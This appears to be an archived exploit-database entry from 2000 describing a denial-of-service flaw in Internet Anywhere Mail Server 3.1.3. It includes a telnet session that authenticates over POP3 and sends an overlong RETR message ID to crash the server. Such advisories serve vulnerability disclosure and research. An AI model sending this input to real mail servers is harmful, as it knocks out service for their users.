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True North Software Internet Anywhere Mail Server 3.1.3 - RETR Denial of Service

🗓️ 10 Feb 2000 00:00:00Reported by Nobuo MiwaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

Denial of service vulnerability in Internet Anywhere Mail Server via long RETR command input.

Code
source: https://www.securityfocus.com/bid/982/info


Submitting a RETR command with a message ID argument longer than 10 numeric characters will result in a crash of the Internet Anywhere Mail Server. A Doctor Watson error message will appear reporting an access violation by MailServer.exe. Restarting the mail server will resume functionality. This denial of service attack does not affect other running programs, and requires the attacker to have a valid username and password on the POP3 server. 

telnet target 110
+OK POP3 Welcome to someco.com using the Internet Anywhere Mail Server Version:3.1.3. Build: 1065 by True North Software, Inc. <[email protected]>
user username
+OK valid
pass password
+OK Authorized
RETR 11111111111 

Data

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